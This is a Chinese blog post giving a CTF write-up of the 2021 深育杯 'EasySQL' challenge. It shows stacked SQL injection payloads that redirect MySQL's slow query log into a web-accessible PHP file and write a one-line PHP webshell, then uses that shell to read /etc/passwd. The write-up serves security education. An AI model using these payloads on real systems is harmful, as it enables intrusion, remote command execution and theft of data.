nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

2021深育杯 EasySQL

解题

这里直接抄官方wp,稍微加一点自己的理解

访问robots.txt,可得三个文件index.php、config.php、helpyou2findflag.php。

fuzz黑名单,可发现select、单双引号、括号、分号、set、show、variables、等都没有过滤。

经测试可得到闭合方式为括号,且白名单为数据库记录行数,使用1);{sqlinject}-- +可以闭合查询语句并进行堆叠注入。

show variables like '%slow_query_log%'; # 查询慢日志记录是否开启
set global slow_query_log=1; # 开启慢查询日志
set global slow_query_log_file='/var/www/html/helpyou2findflag.php'; # 设置慢查询日志位置
查询慢日志记录有关的变量。
2024-01-31T10:01:02.png
修改慢查询日志的保存位置。就是自己可以控制的地方
2024-01-31T10:01:35.png
sleep函数在黑名单中因此不能直接使用,这里有一个考点:慢查询日志只会记录超过long_query_time时间的查询语句,因此要在写入webshell的sql语句中超过执行耗时命令,由于union和sleep都被过滤所以需要一定的绕过技巧,最简单的方式应该是修改long_query_time的值。

1);setglobal long_query_time=0.000001;--+
1);show variables like 'long_query_time';--+

2024-01-31T10:02:36.png
查询一个webshell,查询记录就会被添加到slow_query_log_file变量所指向的位置,这里fuzz黑名单可知一句话木马中常见的关键词被过滤了,绕过一下即可:1);select '<?php $_REQUEST[a]($_REQUEST[b])?>';--+
访问helpyou2findflag.php即可访问webshell。这种shell的方式还是比较特别的
2024-01-31T10:03:41.png
成功执行命令,就是找flag了
查看用户发现有rainbow用户,ip:port/helpyou2findflag.php?a=system&b=awk%20-F%27:%27%20%27{%20print%20$1}%27%20/etc/passwd,查看家目录发现有ssh.log,flag就在其中。

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » 2021深育杯 EasySQL

评论